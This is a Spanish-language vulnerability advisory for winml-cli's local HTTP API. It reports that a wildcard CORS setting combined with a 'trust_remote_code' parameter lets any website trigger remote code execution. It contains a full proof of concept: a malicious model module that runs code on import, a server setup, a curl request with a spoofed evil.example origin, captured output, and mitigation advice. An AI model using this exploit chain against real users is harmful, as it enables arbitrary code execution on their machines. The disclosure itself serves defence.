Descripción general

Se ha identificado una vulnerabilidad crítica en el componente serve/cli_api.py del proyecto winml-cli de Microsoft. Este componente expone la totalidad de los comandos CLI de winml sobre HTTP sin ningún mecanismo de autenticación. Aunque el servidor se enlaza a 127.0.0.1 por defecto, establece allow_origins=["*"], lo que permite que cualquier sitio web interactúe con el endpoint y lea las respuestas, eliminando por completo la barrera de seguridad que debería proporcionar el enlace al loopback.

Componentes afectados

La vulnerabilidad afecta directamente a los siguientes archivos del proyecto:

  • serve/cli_api.py (línea 150): configuración CORS con wildcard.
  • app.py (línea 219): duplicación de la misma configuración permisiva.
  • _autoconfig.py (línea 191): punto de ejecución de código remoto mediante AutoConfig.from_pretrained(..., trust_remote_code=True).

Causa raíz

La causa raíz es doble. Por un lado, la ausencia de autenticación en los endpoints HTTP expuestos localmente. Por otro, la falta de validación del parámetro trust_remote_code: un valor JSON true se convierte directamente en el flag --trust-remote-code sin ningún filtrado ni sanitización. Los comandos build y config aceptan este parámetro, y cuando se invoca AutoConfig.from_pretrained con trust_remote_code=True, la librería transformers importa código Python directamente desde el repositorio de modelos especificado, que puede ser controlado por un atacante.

Mecanismo de explotación

Un atacante que consiga que la víctima visite una página web maliciosa puede realizar las siguientes acciones desde el contexto del navegador de la víctima:

  1. Realizar una petición POST al endpoint local http://127.0.0.1:8000/v1/cli/build con un cuerpo JSON que especifique un repositorio de modelos malicioso y trust_remote_code: true.
  2. Gracias a la cabecera access-control-allow-origin: *, el navegador permite la petición cross-origin y la respuesta es legible por el script atacante.
  3. El servidor invoca AutoConfig.from_pretrained sobre el repositorio malicioso, lo que provoca la importación del módulo Python del atacante.
  4. El payload se ejecuta a nivel de módulo en el momento de la importación, por lo que el código arbitrario corre incluso si el comando devuelve exit_code: 1.

El resultado es RCE con los privilegios del usuario que ejecuta el servidor winml-cli.

Pasos de reproducción

1. Configuración del entorno

bash
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn
python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click

2. Repositorio de modelo malicioso

El payload se ejecuta a nivel de módulo, es decir, en el momento de la importación:

bash
cat > /tmp/poc/evil/pwn/config.json <<'EOF'
{"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}}
EOF

cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF'
import getpass, os, socket, time
from transformers import PretrainedConfig
with open(os.environ["PWN_MARKER"], "w") as f:
    f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n"
            f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n")
class PwnConfig(PretrainedConfig):
    model_type = "pwn"
EOF

3. Inicio del servidor

En Windows:

bash
python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000

En Linux es necesario un stub para el módulo PDH exclusivo de Windows (sin relevancia de seguridad):

python
import os, sys, types, uvicorn
m = types.ModuleType("winml.modelkit.session.monitor._pdh")
class PdhPoller:
    def __init__(s,*a,**k): pass
    def start(s,*a,**k): pass
    def stop(s,*a,**k): pass
    def poll(s,*a,**k): return {}
    def sample(s,*a,**k): return {}
    def close(s,*a,**k): pass
m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False
sys.modules["winml.modelkit.session.monitor._pdh"] = m
from winml.modelkit.serve.cli_api import app
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
bash
cd ~/winml-poc && PWN_MARKER=~/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &
sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up

4. Explotación

bash
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build \
 -H 'Origin: https://evil.example' -H 'Content-Type: application/json' \
 -d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}' \
 | grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED

Salida obtenida durante la prueba de concepto:

code
HTTP/1.1 200 OK
access-control-allow-origin: *
ARBITRARY CODE EXECUTION
time=2026-08-17 11:24:35
user=shrini  host=Shrinivasan  pid=11616

Impacto

Cualquier página web que la víctima visite puede invocar los endpoints locales de winml-cli y provocar la ejecución de código arbitrario con los privilegios del usuario que ejecuta el servidor. No se requiere ninguna interacción adicional por parte de la víctima más allá de cargar la página maliciosa. El payload se ejecuta en el momento de la importación del módulo, lo que hace que el ataque sea efectivo independientemente del código de salida del comando.

Recomendaciones

Para mitigar esta vulnerabilidad se recomienda: restringir la cabecera allow_origins a orígenes explícitamente permitidos en lugar de usar wildcard; implementar autenticación en todos los endpoints HTTP expuestos por cli_api.py; validar y rechazar el parámetro trust_remote_code cuando provenga de peticiones externas; y considerar deshabilitar por completo la exposición HTTP de comandos CLI en entornos de producción.